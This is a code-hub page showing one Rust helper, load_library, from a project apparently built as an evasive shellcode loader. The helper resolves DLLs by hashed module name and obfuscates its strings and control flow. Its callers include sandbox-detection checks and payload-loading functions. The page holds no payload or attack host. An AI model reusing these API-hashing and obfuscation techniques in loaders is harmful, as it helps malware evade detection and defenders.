MCPcopy Create free account
hub / github.com/echQoQ/RustSL / load_library

Function load_library

src/utils/win_api.rs:111–137  ·  view source on GitHub ↗
(dll_name: &[u8])

Source from the content-addressed store, hash-verified

109}
110
111pub unsafe fn load_library(dll_name: &[u8]) -> Result<isize, String> {
112 use windows_sys::Win32::System::LibraryLoader::LoadLibraryA;
113 use rsl_macros::obfuscation_noise_macro;
114 use obfstr::obfstr;
115
116 let name_str = String::from_utf8_lossy(dll_name);
117 let name_trimmed = name_str.trim_matches(char::from(0));
118 let module_hash = sdbm_hash_lower(name_trimmed.as_bytes());
119
120 let dll = get_module_handle_custom_by_hash(module_hash);
121 if dll != 0 {
122 obfuscation_noise_macro!();
123 #[cfg(feature = "debug")]
124 crate::utils::print_message(&format!("{} {}", obfstr!("Get module handle by custom GetModuleHandle:"), name_trimmed));
125 Ok(dll)
126 } else {
127 let dll = LoadLibraryA(dll_name.as_ptr() as *const u8);
128 if dll == 0 {
129 Err(obfstr!("LoadLibraryA failed").to_string())
130 } else {
131 obfuscation_noise_macro!();
132 #[cfg(feature = "debug")]
133 crate::utils::print_message(&format!("{} {}", obfstr!("Module loaded by LoadLibraryA:"), name_trimmed));
134 Ok(dll)
135 }
136 }
137}
138
139#[repr(C)]
140struct IMAGE_DOS_HEADER {

Callers 15

http_getFunction · 0.85
has_human_mouse_movementFunction · 0.85
is_tick_abnormalFunction · 0.85
is_c_drive_total_overFunction · 0.85
load_payloadFunction · 0.85
load_payloadFunction · 0.85
load_payloadFunction · 0.85
alloc_memFunction · 0.85
alloc_memFunction · 0.85
alloc_memFunction · 0.85
alloc_memFunction · 0.85

Calls 3

sdbm_hash_lowerFunction · 0.85
print_messageFunction · 0.85

Tested by

no test coverage detected